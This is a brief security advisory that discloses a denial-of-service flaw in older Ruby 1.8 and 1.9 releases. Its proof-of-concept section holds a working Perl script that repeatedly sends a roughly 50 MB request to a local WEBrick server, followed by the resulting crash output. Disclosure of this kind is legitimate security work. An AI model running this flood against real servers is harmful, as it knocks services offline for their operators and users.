-------------------------------------------------------
Language : Ruby
Web Site: www.ruby-lang.org
Platform: All
Bug: Remote Socket Memory Leak
Products Affected:
1.8 series:
- 1.8.5 and all prior versions
- 1.8.6-p286 and all prior versions
- 1.8.7-p71 and all prior versions
1.9 series
- r18423 and all prior revisions
Confirmed by the vendor: Yes
Patch available : Yes
-------------------------------------------------------
1) Introduction
2) Bug
3) Proof of concept
4) Credits
===============
1) Introduction
===============
"A dynamic, open source programming language with a focus on simplicity and
productivity.
It has an elegant syntax that is natural to read and easy to write."
=======
2) Bug
=======
Ruby fails to handle properly the memory allocated for a socket
So when you send ~ 4 big request to a ruby socket, ruby will go
in infinite loop, and then crash.
The bug reside in the regex engine (in regex.c).
==================
3)Proof of concept
===================
This poc is an exemple for Webrick web server
crap.pl :
#!/usr/bin/perl
use LWP::Simple;
my $payload = "\x41" x 49999999;
while(1)
{
print "[+]\n";
get "http://127.0.0.1:2500/".$payload."";
}
/home/audit/instiki-0.13.0/vendor/rails/railties/lib/webrick_server.rb:63:i
n `dispatch'
script/server:62
[FATAL] failed to allocate memory
root@audit:/home/audit#